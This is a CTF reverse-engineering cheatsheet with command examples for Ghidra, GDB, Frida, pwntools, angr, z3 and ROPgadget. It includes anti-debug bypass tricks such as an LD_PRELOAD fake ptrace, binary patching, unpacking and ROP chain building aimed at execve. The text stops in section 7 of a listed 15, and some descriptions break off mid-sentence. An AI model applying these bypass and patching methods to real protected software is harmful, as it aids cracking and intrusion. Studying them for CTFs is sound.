

CTF REVERSE ENGINEERING BIBLE

Complete Toolkit, Walkthroughs & Cheatsheet

Easy -> Intermediate -> Hard -> Expert | All Open-Source Tools

80+

Tools Covered

50+

Techniques

ALL

CTF Levels

100%

Open Source

COVERAGE:

- | | | |
|----------------------|--------------------|---------------------|
| > Static Analysis | > Dynamic Analysis | > Disassemblers |
| > Decompilers | > Debuggers | > Hex Editors |
| > Binary Patching | > Scripting & Auto | > Anti-Debug Bypass |
| > Obfuscation Defeat | > ARM/MIPS/x86/x64 | > Windows PE / ELF |
| > Malware Analysis | > Firmware RE | > .NET / Java RE |
| > Python Bytecode | > Crypto in RE | > Packing & UPX |

ctftime.org | crackmes.one | pwn.college | reversing.kr
[picoCTF](#) | [HackTheBox](#) | [TryHackMe](#) | [247CTF](#) | [ASIS CTF](#)

TABLE OF CONTENTS

Navigate your reverse engineering journey

1	FOUNDATIONS OF REVERSE ENGINEERING Essential concepts, binary formats, calling conventions
2	STATIC ANALYSIS TOOLS Disassemblers, decompilers, binary parsers
3	DYNAMIC ANALYSIS TOOLS Debuggers, tracers, sandboxes
4	HEX EDITORS & BINARY PATCHING Viewing and modifying raw bytes
5	SCRIPTING & AUTOMATION Python, pwntools, angr, frida, z3
6	ANTI-ANALYSIS BYPASS TECHNIQUES Anti-debug, anti-VM, obfuscation
7	PLATFORM-SPECIFIC RE .NET, Java, Python, ARM, MIPS, Firmware
8	NETWORK & PROTOCOL RE Wireshark, Scapy, custom protocols
9	COMPLETE CHEATSHEET All commands in one place
10	CTF WALKTHROUGHS - EASY LEVEL Step-by-step beginner challenges
11	CTF WALKTHROUGHS - MEDIUM LEVEL Intermediate techniques
12	CTF WALKTHROUGHS - HARD LEVEL Advanced exploitation and RE
13	CTF WALKTHROUGHS - EXPERT LEVEL Kernel, hypervisor, advanced obfuscation
14	CTF PLATFORMS & RESOURCES Where to practice and learn
15	METHODOLOGY & MINDSET How to approach any RE challenge
+	ALL TOOLS MASTER REFERENCE TABLE Every tool at a glance

SECTION 1: FOUNDATIONS OF REVERSE ENGINEERING

Core knowledge every CTF player needs

>> What is Reverse Engineering?

Reverse Engineering (RE) in CTF is the process of analyzing compiled binaries, firmware, bytecode, or obfuscated code WITHOUT having access to the original source code. The goal is:

- * Find hidden flags (e.g., `flag{...}` strings)
- * Understand license checks and authentication bypasses
- * Defeat anti-debugging and obfuscation techniques
- * Extract cryptographic keys or algorithms
- * Understand custom protocols or file formats

>> Binary Formats You Must Know

ELF (Executable and Linkable Format)	-- Linux/Unix binaries (.so, no extension)
PE (Portable Executable)	-- Windows binaries (.exe, .dll, .sys)
Mach-O	-- macOS/iOS binaries
APK	-- Android apps (ZIP of DEX + resources)
DEX	-- Android Dalvik bytecode
.pyc	-- Python compiled bytecode
.class / .jar	-- Java compiled bytecode
.NET PE (MSIL)	-- .NET/C# assemblies
WASM	-- WebAssembly modules
Firmware (raw binary, squashfs, UBI)	-- Embedded devices

>> x86/x64 Registers (Must Memorize)

64-bit	32-bit	16-bit	8-bit	PURPOSE
RAX	EAX	AX	AL	Accumulator / Return value
RBX	EBX	BX	BL	Base register (callee-saved)
RCX	ECX	CX	CL	Counter / 4th arg (Windows: 1st arg)
RDX	EDX	DX	DL	Data / 3rd arg (Windows: 2nd arg)
RSI	ESI	SI	SIL	Source index / 2nd arg (Linux)
RDI	EDI	DI	DIL	Destination / 1st arg (Linux)
RSP	ESP	SP	SPL	Stack Pointer
RBP	EBP	BP	BPL	Base Pointer (frame pointer)
RIP	EIP	IP		Instruction Pointer (program counter)
R8-R15				Extended 64-bit registers (5th-6th args...)
RFLAGS	EFLAGS			Condition flags (ZF, CF, SF, OF, PF, AF)

>> x86/x64 Common Instructions

```

mov  dst, src    -- Move/copy data
lea  dst, [src]  -- Load effective address (like mov but no dereference)
push val         -- Push to stack (RSP -= 8, then store)
pop  dst         -- Pop from stack
call addr        -- Push RIP, jump to addr
ret             -- Pop RIP (return)
add/sub/mul/div  -- Arithmetic
and/or/xor/not   -- Bitwise ops (XOR dst,dst zeroes a register)
cmp  a, b        -- Set flags based on a-b (does NOT store result)
test a, b        -- Set flags based on a&b
je/jne/jg/jl/jge/jle/jz/jnz -- Conditional jumps
jmp  addr        -- Unconditional jump
nop             -- No operation (0x90 -- useful for patching)
leave           -- mov rsp,rbp; pop rbp
syscall         -- Linux system call (x64)
int 0x80        -- Linux 32-bit system call (legacy)

```

>> Linux x64 Calling Convention (System V ABI)

Arguments: RDI, RSI, RDX, RCX, R8, R9 (then stack)
 Return: RAX (and RDX for 128-bit values)
 Callee-saved (preserved across calls): RBX, RBP, R12-R15
 Caller-saved (may be clobbered): RAX, RCX, RDX, RSI, RDI, R8-R11
 Stack alignment: RSP must be 16-byte aligned before CALL

Example: write(1, buf, len)

```

mov rdi, 1      ; fd = stdout
mov rsi, buf    ; buffer pointer
mov rdx, len    ; length
call write

```

>> Windows x64 Calling Convention (Microsoft ABI)

Arguments: RCX, RDX, R8, R9 (then stack with 32-byte shadow space)
 Return: RAX
 Shadow space: caller must allocate 32 bytes on stack before call
 Callee-saved: RBX, RBP, RDI, RSI, R12-R15, XMM6-XMM15

>> ELF File Structure

Offset	Size	Field
0x00	4	Magic: 0x7F 'E' 'L' 'F'
0x04	1	Class: 1=32-bit, 2=64-bit
0x05	1	Endianness: 1=LE, 2=BE
0x10	2	Type: 2=exec, 3=shared, 4=core
0x18	8	Entry point (e_entry)
0x20	8	Program header table offset
0x28	8	Section header table offset

Key sections:

```

.text    -- Executable code
.data    -- Initialized global data
.bss     -- Uninitialized global data
.rodata  -- Read-only data (strings, constants)
.plt     -- Procedure Linkage Table (lazy binding)
.got     -- Global Offset Table
.symtab  -- Symbol table (may be stripped)
.debug_* -- DWARF debug info

```

SECTION 2: STATIC ANALYSIS TOOLS

Analyze binaries without executing them

>> 2.1 Disassemblers & Decompilers -- Flagship Tools

Ghidra

Disasm/Decompile

All

<https://ghidra-sre.org> (NSA - Free & Open Source)

Most powerful free RE suite. Decompiler, scripting, multi-arch. MUST KNOW.

```
$ analyzeHeadless /proj ProjName -import binary -postScript script.py
$ ghidraRun                               # GUI launch
$ analyzeHeadless . proj -import ./bin -postScript FindFlag.java
```

IDA Pro / IDA Free

Disasm/Decompile

All

<https://hex-rays.com/ida-free> (Free version available)

Industry standard. IDA Free handles x86/x64/ARM. Hex-Rays decompiler is gold.

```
$ ida64 binary                             # Open in IDA
$ idat64 -A -B binary                       # Batch auto-analysis
$ idat64 -c -A -Sscript.idc binary          # Run IDC script
$ idapython: idc.get_name(ea), ida_bytes.get_bytes(ea, n)
```

Binary Ninja

Disasm/Decompile

All

<https://binary.ninja> (Free personal cloud version)

Modern decompiler with excellent Python API and BNIL. Great for automation.

```
$ binaryninja file.exe                     # GUI
$ python3: import binaryninja; bv=binaryninja.open_view('f')
```

Radare2 (r2)

Disasm/Debugger

All

<https://github.com/radareorg/radare2> (Free & Open Source)

Powerful CLI RE framework. Steep learning curve, extremely feature-rich.

```
$ r2 binary                               # Open binary
$ r2 -A binary                             # Open + analyze all
$ r2 -d binary                             # Debug mode
$ r2 -c 'aaa;pdf@main' binary               # Analyze + print main
$ rizin binary                             # Rizin (r2 fork, friendlier)
```

Cutter

Disasm GUI (r2)

All

<https://cutter.re> (Free & Open Source - Radare2 GUI)

Official GUI for Radare2 with Ghidra decompiler plugin. Excellent free option.

```
$ cutter binary.elf
```

objdump

Disassembler

Easy

<https://gnu.org/software/binutils> (Built-in GNU binutils)

Classic GNU disassembler. Available on every Linux system.

```
$ objdump -d binary          # Disassemble code sections
$ objdump -D binary          # Disassemble ALL sections
$ objdump -d -M intel binary  # Intel syntax
$ objdump -t binary           # Symbol table
$ objdump -x binary           # All headers
$ objdump -s -j .rodata binary # Hex dump of .rodata
```

>> 2.2 Information Gathering / Recon Tools

file

Binary ID

Easy

Built-in Linux command

Identifies file type using magic bytes. ALWAYS run this first!

```
$ file mystery_binary        # What type of file?
$ file *                      # Check all files in dir
```

strings

String Extraction

Easy

Built-in Linux (GNU binutils)

Extract printable strings. Find flags, URLs, passwords, function names.

```
$ strings binary              # Default (min 4 chars)
$ strings -n 8 binary          # Min 8 chars
$ strings -a binary            # Scan entire file
$ strings binary | grep -i 'flag'
$ strings binary | grep -i 'ctf'
$ strings binary | grep -E '[A-Za-z0-9+/]{20,}={0,2}' # Base64 hunt
$ strings -e l binary           # 16-bit little-endian strings
$ strings -e b binary           # 16-bit big-endian strings
```

readelf

ELF Inspector

Easy

Built-in Linux (GNU binutils)

Comprehensive ELF header/section/symbol analysis.

```
$ readelf -h binary           # ELF header
$ readelf -S binary            # All sections
$ readelf -l binary            # Program headers (segments)
$ readelf -s binary            # Symbol table
$ readelf -r binary            # Relocations
$ readelf -d binary            # Dynamic section (.dynamic)
$ readelf -a binary            # All info
$ readelf --debug-dump=info binary # DWARF debug info
```

checksec

Security Feature Checker

Easy

<https://github.com/slimm609/checksec.sh>

Check binary mitigations: NX, PIE, RELRO, Stack Canary, FORTIFY.

```
$ checksec --file=binary
$ checksec --file=binary --output=json
$ python3 -c "from pwn import *; elf=ELF('./bin'); print(elf.checksec())"
```

binwalk

Firmware Analysis

Medium

<https://github.com/ReFirmLabs/binwalk>

Scan and extract embedded files from firmware, images, archives.

```
$ binwalk firmware.bin           # Scan for signatures
$ binwalk -e firmware.bin        # Extract all
$ binwalk -M -e firmware.bin     # Recursive extract
$ binwalk -A firmware.bin        # Find CPU instructions
$ binwalk -E firmware.bin        # Plot entropy graph
$ binwalk -dd '.*' firmware.bin  # Extract all types
```

nm

Symbol Lister

Easy

Built-in Linux (GNU binutils)

List symbols from object files. Find function names, global variables.

```
$ nm binary           # All symbols
$ nm -D binary        # Dynamic symbols
$ nm -n binary        # Sort by address
$ nm -u binary        # Undefined (imported) symbols
$ nm -C binary        # Demangle C++ names
```

ldd

Dependency Checker

Easy

Built-in Linux (glibc)

Show shared library dependencies of a binary.

```
$ ldd binary           # Show linked libraries
$ ldd -v binary        # Verbose with versions
$ LD_TRACE_LOADED_OBJECTS=1 ./binary # Manually trigger
```

exiftool

Metadata Extractor

Easy

<https://exiftool.org> (Free)

Read metadata from ANY file type. Flags are sometimes hidden in metadata!

```
$ exiftool file.png           # All metadata
$ exiftool -all= -o clean.jpg dirty.jpg # Strip metadata
```

pefile (Python)

PE Analyzer

Medium

<https://github.com/erocarrera/pefile> (pip install pefile)

Parse Windows PE files in Python. Essential for Windows binary RE.

```
$ pip install pefile
$ python3 -c "import pefile; pe=pefile.PE('b.exe'); print(pe.dump_info())"
$ python3 -c "import pefile; pe=pefile.PE('f.exe'); [print(s.Name,hex(s.VirtualAddress)) for s in pe.sections]"
```

SECTION 3: DYNAMIC ANALYSIS TOOLS

Run the binary and watch what it does

>> 3.1 Debuggers

GDB + pwndbg / peda / GEF

Debugger

All

<https://sourceware.org/gdb> + <https://github.com/pwndbg/pwndbg>

Essential Linux debugger. Use pwndbg/peda/gef plugins for CTF superpowers.

```
$ gdb ./binary                # Start debugging
$ gdb -q ./binary              # Quiet mode
$ gdb --args ./binary arg1 arg2 # Pass arguments
$ r                            # Run
$ b main / b *0x401234          # Breakpoint at main/address
$ b *main+42                    # Breakpoint at offset
$ ni / si                       # Next instruction / Step into
$ c                             # Continue
$ finish                        # Run until function returns
$ x/20gx $rsp                   # Examine 20 qwords at RSP
$ x/s 0x401234                  # Examine as string
$ info registers                # Show all registers
$ info functions                # List all functions
$ disassemble main              # Disassemble function
$ set $rax = 0                  # Modify register
$ set *(int*)0x601234 = 0x414141 # Modify memory
$ vmmap                         # Memory map (pwndbg)
$ search-pattern 'flag'         # Search memory (pwndbg)
$ telescope $rsp                # Stack view (pwndbg)
$ cyclic 200 / cyclic -l 0x616161 # Pattern gen/find
$ got                           # GOT table (pwndbg)
```

x64dbg / x32dbg

Debugger (Windows)

All

<https://x64dbg.com> (Free & Open Source)

Best free Windows debugger. GUI-based, excellent for PE reversing and bypass.

```
$ x64dbg.exe                    # Launch 64-bit debugger
$ x32dbg.exe                    # Launch 32-bit debugger
$ F2=Breakpoint, F7=Step Into, F8=Step Over, F9=Run
$ Ctrl+G = Go to address
$ Plugins: ScyllaHide (anti-antidebug), xAnalyzer
```

WinDbg (Microsoft)

Debugger (Windows)

Hard

<https://docs.microsoft.com/windows-hardware/drivers/debugger>

Microsoft debugger. Required for kernel debugging and crash dump analysis.

```
$ windbg -g target.exe          # Debug target
$ lm                            # List modules
$ u main                        # Unassemble main
$ bp main                       # Breakpoint
$ g                             # Go/Continue
$ k                             # Call stack
$ !analyze -v                   # Crash analysis
$ !teb / !peb                   # TEB/PEB info
```


lldb

Debugger (macOS/Linux)

Medium

<https://lldb.llvm.org> (Part of LLVM)

LLVM debugger. Primary debugger on macOS. Similar to GDB with cleaner syntax.

```
$ lldb ./binary
$ b main; r
$ n / s                # Next / Step
$ memory read -fx -s8 $rsp    # Hex dump stack
$ disassemble -n main
```

>> 3.2 Tracing & System Call Analysis

strace

Syscall Tracer

Easy

Linux built-in (package: strace)

Trace all system calls made by a process. Find file reads, network calls, etc.

```
$ strace ./binary                # Trace all syscalls
$ strace -e trace=open,read,write ./binary # Filter syscalls
$ strace -o output.txt ./binary    # Save to file
$ strace -f ./binary               # Follow child processes
$ strace -s 200 ./binary           # Show up to 200 chars of strings
$ strace -c ./binary               # Count/summary mode
$ strace -p PID                   # Attach to running process
```

ltrace

Library Call Tracer

Easy

Linux (package: ltrace)

Trace shared library calls (strcmp, malloc, printf). Great for crackmes!

```
$ ltrace ./binary                # Trace all lib calls
$ ltrace -s 200 ./binary          # Show full strings
$ ltrace -C ./binary              # Demangle C++ names
$ ltrace -e strcmp ./binary       # Only trace strcmp calls
$ ltrace ./binary password_guess # With argument
```

Frida

Dynamic Instrumentation

Hard

<https://frida.re> (Free & Open Source)

Script-based dynamic instrumentation. Hook functions, modify runtime behavior. Works on Android,

```
$ pip install frida-tools
$ frida -l script.js ./binary    # Inject script
$ frida -n 'App Name' -l hook.js # Attach by name
$ frida -U -n com.app.name -l h.js # Android USB
$ frida-trace -i 'strcmp' ./binary # Auto-trace strcmp calls
$ # In script.js:
$ Interceptor.attach(Module.getExportByName(null, 'strcmp'), {
$   onEnter(args){console.log(args[0].readUtf8String())}
$ });
```

DynamoRIO + drcov

Dynamic Binary Instrumentation

Expert

<https://dynamorio.org> (Free & Open Source)

Full DBI framework. drcov for coverage-guided analysis (load in Lighthouse).

```
$ drrun -t drcov -- ./binary    # Code coverage run
$ drrun -t drltrace -- ./binary # Library call trace
```

Intel PIN

Dynamic Instrumentation

Expert

<https://software.intel.com> (Free)

Intel DBI framework. Write C++ Pintool plugins for custom instrumentation.

```
$ pin -t MyPintool.so -- ./binary      # Run with pintool
$ pin -t inscount0.so -- ./binary     # Count instructions
$ # Use for: side-channel attacks, instruction tracing
```

>> 3.3 Sandbox & Emulation

QEMU

Full System Emulator

Medium

<https://qemu.org> (Free & Open Source)

Emulate ARM, MIPS, PowerPC, RISC-V binaries on x86. Essential for firmware/embedded CTFs.

```
$ qemu-arm ./arm_binary              # Run ARM binary (user mode)
$ qemu-mipsel ./mips_binary           # Run MIPS little-endian
$ qemu-arm -L /usr/arm-linux-gnueabi/ ./arm_binary # With sysroot
$ qemu-arm -g 1234 ./binary           # GDB remote on port 1234
$ # Then: gdb-multiarch binary -> target remote :1234
```

Unicorn Engine

CPU Emulator (Python API)

Hard

<https://unicorn-engine.org> (Free & Open Source)

Lightweight CPU emulator with Python/Java/Go API. Perfect for emulating code snippets.

```
$ pip install unicorn
$ from unicorn import *; from unicorn.x86_const import *
$ mu = Uc(UC_ARCH_X86, UC_MODE_64)
$ mu.mem_map(0x1000, 2 * 1024 * 1024)
$ mu.mem_write(0x1000, b'\x48\x31\xc0')
$ mu.emu_start(0x1000, 0x1003)
$ print(hex(mu.reg_read(UC_X86_REG_RAX)))
```

SECTION 4: HEX EDITORS & BINARY PATCHING

View and modify raw bytes

xxd

Hex Dumper

Easy

Built-in Linux (vim package)

Hex dump files and convert back. Built into most Linux systems.

```
$ xxd binary | head -50          # Hex dump first 50 lines
$ xxd binary > binary.hex        # Dump to text file
$ xxd -r binary.hex binary.patched # Reverse (patch binary)
$ xxd -l 256 binary              # First 256 bytes only
$ xxd -s 0x100 -l 64 binary       # 64 bytes at offset 0x100
$ xxd -p binary | tr -d '\n'      # Plain hex stream
$ echo '4141' | xxd -r -p         # Hex to binary
```

hexdump / hd

Hex Dumper

Easy

Built-in Linux

Standard hex dump utility.

```
$ hexdump -C binary | head        # Canonical hex+ASCII dump
$ hexdump -C binary | grep -i 'flag'
$ hd binary                       # Alias for hexdump -C
```

HxD (Windows)

Hex Editor

Easy

<https://mh-nexus.de/en/hxd> (Free)

Best free Windows hex editor. Edit bytes, find patterns, compare files.

```
$ Open file -> Edit -> Find (Ctrl+F) -> Hex values or text
$ Edit -> Replace to patch bytes
$ Analysis -> File compare
```

010 Editor

Professional Hex Editor

Medium

<https://sweetscape.com/010editor> (Trial/Paid, templates free)

Professional hex editor with binary templates (auto-parse PE, ELF, ZIP, PNG).

```
$ 010editor binary.exe           # Open file
$ Templates: Parse PE, ELF, PNG, ZIP structures automatically
$ Free templates: https://sweetscape.com/010editor/repository
```

hexedit

Terminal Hex Editor

Easy

Linux (apt install hexedit)

Interactive terminal hex editor. Good for quick patches.

```
$ hexedit binary                 # Open for editing
$ Tab to switch between hex/ASCII view
$ Ctrl+W search, Ctrl+S save, Ctrl+X exit
```

Binary Patching with Python

Scripted Patching

Easy

Python built-in

Quick and reproducible binary patching via Python script.

```
$ data = bytearray(open('binary', 'rb').read())
$ data[0x1234] = 0x90 # NOP at offset
$ data[0x1235:0x1237] = b'\x90\x90'
$ open('binary.patched', 'wb').write(data)
$ # Replace jne->je: import re; re.sub(b'\x75\x0a', b'\x74\x0a', data)
```

pwntools ELF patching

ELF Patcher

Medium

<https://github.com/Gallopsled/pwntools> (pip install pwntools)

Patch ELF sections and symbols programmatically with pwntools.

```
$ from pwn import *
$ elf = ELF('./binary')
$ elf.asm(elf.symbols['main'], 'xor eax, eax; ret')
$ elf.save('./binary_patched')
$ print(hex(elf.symbols['puts'])) # Symbol address
$ print(hex(elf.got['puts'])) # GOT address
$ print(hex(elf.plt['puts'])) # PLT address
```

keystone / capstone (Python)

Assembler/Disassembler API

Medium

<https://keystone-engine.org> | <https://capstone-engine.org>

keystone = assembler (asm->bytes). capstone = disassembler (bytes->asm).

```
$ pip install keystone-engine capstone
$ from keystone import *
$ ks = Ks(KS_ARCH_X86, KS_MODE_64)
$ encoding, _ = ks.asm('xor rax, rax; ret')
$ print(bytes(encoding)) # b'\x48\x31\xc0\xc3'
$ from capstone import *
$ md = Cs(CS_ARCH_X86, CS_MODE_64)
$ for i in md.disasm(b'\x48\x31\xc0', 0x1000):
$     print(f'{i.address:#x}: {i.mnemonic} {i.op_str}')
```

SECTION 5: SCRIPTING & AUTOMATION

Automate analysis and exploitation

pwntools

CTF Framework (Python)

All

<https://github.com/Gallopsled/pwntools> (pip install pwntools)

The #1 CTF Python library. Binary exploitation, RE, networking, crypto. MUST HAVE.

```
$ pip install pwntools
$ from pwn import *
$ elf = ELF('./binary')           # Load ELF
$ print(elf.arch, elf.bits)       # Architecture
$ print(hex(elf.entry))           # Entry point
$ print(elf.disasm(elf.entry, 32)) # 32 bytes at entry
$ rop = ROP(elf); rop.call('puts', [elf.got['puts']])
$ p = process('./binary')         # Local process
$ p = remote('ctf.server.com', 1337) # Remote
$ p.sendline(b'hello')           # Send
$ p.recvuntil(b'> ')            # Receive until
$ p.interactive()                # Drop to shell
$ p64(0xdeadbeef) / u64(data)     # Pack/unpack 64-bit
$ flat([0x41]*8, 0xdeadbeef)      # Build payload
$ cyclic(200) / cyclic_find(0x6161) # Pattern gen/find
$ xor(b'key', b'cipher')          # XOR bytes
$ b64e(b'hello') / b64d('aGVsbG8=') # Base64
```

angr

Symbolic Execution Engine

Hard

<https://angr.io> (pip install angr)

Symbolic execution framework. Automatically solve complex input constraints. Great for

```
$ pip install angr
$ import angr, claripy
$ proj = angr.Project('./binary', auto_load_libs=False)
$ state = proj.factory.full_init_state()
$ simgr = proj.factory.simulation_manager(state)
$ simgr.explore(find=lambda s: b'Correct' in s.posix.dumps(1),
$               avoid=lambda s: b'Wrong' in s.posix.dumps(1))
$ if simgr.found:
$     print(simgr.found[0].posix.dumps(0)) # Print winning input
$ flag = claripy.BVS('flag', 8*50) # 50-byte symbolic input
$ for byte in flag.chop(8):          # Constrain to ASCII
$     state.add_constraints(byte >= 0x20, byte <= 0x7e)
```

z3 (Z3 Theorem Prover)

Constraint Solver

Hard

<https://github.com/Z3Prover/z3> (pip install z3-solver)

Microsoft SMT solver. Solve mathematical constraints automatically. Crypto challenges gold.

```
$ pip install z3-solver
$ from z3 import *
$ x, y = BitVecs('x y', 32)
$ s = Solver()
$ s.add(x + y == 0x1337)
$ s.add(x * y == 0x12345)
$ s.add(x > 0, y > 0)
$ if s.check() == sat:
$     m = s.model(); print(m[x], m[y])
$ flag = [BitVec(f'b{i}', 8) for i in range(20)]
$ s.add(flag[0] ^ flag[1] == 0x42)
```

Ghidra Scripting (Python/Java)

RE Automation

Medium

Built into Ghidra

Automate Ghidra analysis with scripts. Find patterns, rename functions, dump data.

```
$ # Python (Jython) scripts in Script Manager
$ # Find all xrefs to a string:
$ for ref in getReferencesTo(toAddr(0x401234)):
$     print(ref.getFromAddress())
$ # Rename FUN_ functions:
$ for func in currentProgram.getFunctionManager().getFunctions(True):
$     if func.getName().startswith('FUN_'):
$         func.setName('sub_'+str(func.getEntryPoint()), SourceType.USER_DEFINED)
$ # Find all strings in binary:
$ for s in currentProgram.getListing().getDefinedData(True):
$     if 'string' in str(s.getDataType()).lower(): print(s)
```

IDAPython

IDA Scripting

Medium

Built into IDA Pro/Free

Python API for IDA. Automate analysis, find patterns, extract data.

```
$ import idc, idaapi, idautils
$ idc.get_func_name(here()) # Function name at cursor
$ for s in idautils.Strings(): print(str(s)) # All strings
$ for xref in idautils.XrefsTo(0x401234): print(hex(xref.frm))
$ ida_bytes.patch_bytes(ea, b'\x90\x90\x90') # Patch NOP
$ for ea in idautils.Functions(): print(hex(ea), idc.get_func_name(ea))
$ ea = idc.find_binary(idc.min_ea(), idc.SEARCH_DOWN, '48 31 C0')
```

r2pipe (Python)

r2 Automation

Medium

<https://github.com/radareorg/radare2-r2pipe> (pip install r2pipe)

Control radare2 from Python. Automate analysis, scripting pipelines.

```
$ pip install r2pipe
$ import r2pipe, json
$ r2 = r2pipe.open('./binary')
$ r2.cmd('aaa') # Analyze all
$ funcs = r2.cmdj('aflj') # Get functions as JSON
$ disasm = r2.cmdj('pdfj @ main') # Disassemble main as JSON
$ r2.cmd('wx 9090 @ 0x401234') # Patch with NOPs
$ r2.quit()
```

ROPgadget / ropper

ROP Chain Builder

Hard

<https://github.com/JonathanSalwan/ROPgadget> (pip install ROPgadget)

Find ROP/JOP/SYS/RET gadgets in binaries. Build ROP chains automatically.

```
$ pip install ROPgadget
$ ROPgadget --binary ./binary # All gadgets
$ ROPgadget --binary ./binary --rop # Only ROP gadgets
$ ROPgadget --binary ./binary --string 'flag' # Find string
$ ROPgadget --binary ./binary --chain execve # Auto-chain
$ ropper -f ./binary # ropper alternative
$ ropper -f ./binary --search 'pop rdi; ret'
```

SECTION 6: ANTI-ANALYSIS BYPASS TECHNIQUES

Defeat protections trying to stop you

>> 6.1 Anti-Debug Detection Methods & Bypass

TECHNIQUE	HOW IT WORKS	BYPASS
IsDebuggerPresent()	Checks PEB.BeingDebugged flag	Patch PEB or hook API
CheckRemoteDebugger	NtQueryInfoProcess	Hook NTQIP return
RDTSC timing	High delta = debugger	NOP out timing check
INT 3 / 0xCC detect	Self-scan for breakpoints	Use hardware breakpoints
SEH / VEH tricks	Checks exception handling	Step through exception
Parent PID check	If PPID != explorer.exe	Spoof PPID
ptrace(PTRACE_TRACEME)	Linux anti-debug	LD_PRELOAD fake ptrace
fork() trick	Child checks if traced	Patch ptrace call
SIGTRAP handler	Catches debugger signals	gdb: handle SIGTRAP pass
/proc/self/status	TracerPid != 0 = debugger	Hook open()/read()
Hardware breakpoints	Check DR0-DR7 registers	Avoid HW breakpoints
TLS callbacks	Code runs before entry point	Set BP on TLS callbacks

>> 6.2 Linux Anti-Debug Bypass Commands

```
# LD_PRELOAD fake ptrace (always return 0 to fool anti-debug check):
cat > fake_ptrace.c << 'EOF'
#include <sys/ptrace.h>
long ptrace(int req, ...) { return 0; }
EOF
gcc -shared -fPIC fake_ptrace.c -o fake_ptrace.so
LD_PRELOAD=./fake_ptrace.so ./binary

# GDB: ignore SIGTRAP signals:
handle SIGTRAP noprint nostop pass

# Run with fake ptrace AND debug:
LD_PRELOAD=./fake_ptrace.so gdb ./binary
```

>> 6.3 Packers & Unpackers

UPX

Packer/Unpacker

Easy

<https://upx.github.io> (Free & Open Source)

Most common CTF packer. Easy to unpack. Look for UPX signature in strings.

```
$ upx -d packed_binary -o unpacked      # Decompress/unpack
$ upx -l packed_binary                  # List compression info
$ strings binary | grep UPX              # Detect UPX packing
$ file binary # Shows 'UPX compressed' if UPX packed
```

DIE (Detect-It-Easy)

Packer Detector

Easy

<https://github.com/horsicq/Detect-It-Easy> (Free & Open Source)

Detect packer, compiler, linker used to create binary. GUI and CLI.

```
$ die binary.exe                        # Detect packer/compiler
$ diec binary.exe                       # CLI version
```


Scylla (x64dbg plugin)

Import Rebuilder

Medium

<https://github.com/NtQuery/Scylla> (Free)

Dump unpacked process and rebuild IAT for manual unpacking.

- \$ 1. Run packed binary in x64dbg
- \$ 2. Run to OEP (look for PUSHAD/POPAD pattern)
- \$ 3. Open Scylla plugin -> IAT Autosearch -> Get Imports
- \$ 4. Dump -> Fix Dump
- \$ 5. Analyze dumped binary in Ghidra/IDA

>> 6.4 Obfuscation Defeat

OBFUSCATION TYPE	TOOL / TECHNIQUE

String encryption	Run binary, hook strcmp/memcmp via Frida
Control flow flatten	Angr symbolic execution / trace execution
VM obfuscation	Unicorn emulation, log opcodes, build disasm
LLVM obfuscation	d810 IDA plugin / deobfuscation scripts
Custom bytecode VM	Reverse VM interpreter loop -> disassembler
XOR encoded strings	Find key via Ghidra -> Python decode all
Custom Base64 alpha	Identify alphabet -> rewrite decoder in Python
Junk code / dead code	Trace live paths only in dynamic analysis

de4dot (.NET Deobfuscator)

.NET Deobfuscator

Medium

<https://github.com/de4dot/de4dot> (Free & Open Source)

Deobfuscate .NET assemblies. Handles many common .NET protectors.

- \$ de4dot.exe binary.exe # Auto-detect and deobfuscate
- \$ de4dot.exe --un-name binary.exe # Only rename obfuscated names

SECTION 7: PLATFORM-SPECIFIC RE

Language and OS specific tools

>> 7.1 .NET / C# Reverse Engineering

dnSpy / dnSpyEx

.NET Decompiler/Debugger

Easy

<https://github.com/dnSpyEx/dnSpy> (Free & Open Source)

Best .NET RE tool. Decompile, debug, and modify .NET assemblies at C# level.

```
$ dnSpy.exe binary.exe # Open and auto-decompile
$ Set breakpoints and debug like Visual Studio
$ Edit C# source -> Compile -> Save module
$ Ctrl+Shift+K -> Search for strings/types/methods
```

ILSpy

.NET Decompiler

Easy

<https://github.com/icsharpcode/ILSpy> (Free & Open Source)

Lightweight .NET decompiler. CLI version good for automation.

```
$ ilspycmd binary.dll -p -o ./output # Decompile to project
$ ilspycmd binary.dll --list-types # List all types
$ ilspycmd binary.dll -t MyClass # Decompile specific class
```

ildasm / ilasm

.NET IL Disassembler

Medium

Built into .NET SDK

Disassemble to IL text, modify, and reassemble. Lower level than C# decompilation.

```
$ ildasm binary.exe /out=binary.il # Disassemble to IL
$ # Edit binary.il in text editor
$ ilasm binary.il /exe /output=modified.exe # Reassemble
```

>> 7.2 Java & Android Reverse Engineering

jadx

Java/Android Decompiler

Easy

<https://github.com/skylot/jadx> (Free & Open Source)

Best Java/Android decompiler. Handles APK, DEX, AAR, JAR. GUI and CLI.

```
$ jadx app.apk # Decompile to Java
$ jadx -d output_dir app.apk # Save to directory
$ jadx-gui app.apk # GUI mode
$ jadx -d out app.apk && grep -r 'flag' out/
```

apktool

APK Disassembler

Easy

<https://ibotpeaches.github.io/Apktool> (Free & Open Source)

Disassemble APK to Smali code. Useful for patching and re-signing.

```
$ apktool d app.apk -o app_decompiled # Disassemble
$ apktool b app_decompiled -o new.apk # Rebuild
$ # After rebuild, sign with jarsigner
```

jd-gui

Java Decompiler GUI

Easy

<http://java-decompiler.github.io> (Free)

Quick Java class/JAR decompiler with GUI.

```
$ jd-gui binary.jar          # Open JAR
$ File -> Save All Sources -> export .java files
```

>> 7.3 Python Reverse Engineering

uncompyle6 / decompile3

Python Bytecode Decompiler

Easy

<https://github.com/rocky/python-uncompyle6> (pip install uncompyle6)

Decompile Python .pyc bytecode back to Python source.

```
$ pip install uncompyle6
$ uncompyle6 binary.pyc      # Decompile to stdout
$ uncompyle6 -o . binary.pyc # Save as .py file
$ pip install decompile3     # For Python 3.9+
```

pyinstxtractor

PyInstaller Unpacker

Easy

<https://github.com/extremecoders-re/pyinstxtractor>

Extract Python files from PyInstaller-compiled executables.

```
$ python3 pyinstxtractor.py binary.exe
$ # Extracts to binary.exe_extracted/
$ cd binary.exe_extracted
$ uncompyle6 main.pyc > main.py
```

>> 7.4 ARM / MIPS / Other Architecture RE

ARCHITECTURE	TOOLCHAIN	QEMU USER MODE

ARM 32-bit	arm-linux-gnueabi-*	qemu-arm
ARM 64-bit	aarch64-linux-gnu-*	qemu-aarch64
MIPS (LE)	mipsel-linux-gnu-*	qemu-mipsel
MIPS (BE)	mips-linux-gnu-*	qemu-mips
PowerPC	powerpc-linux-gnu-*	qemu-ppc
RISC-V	riscv64-linux-gnu-*	qemu-riscv64

```
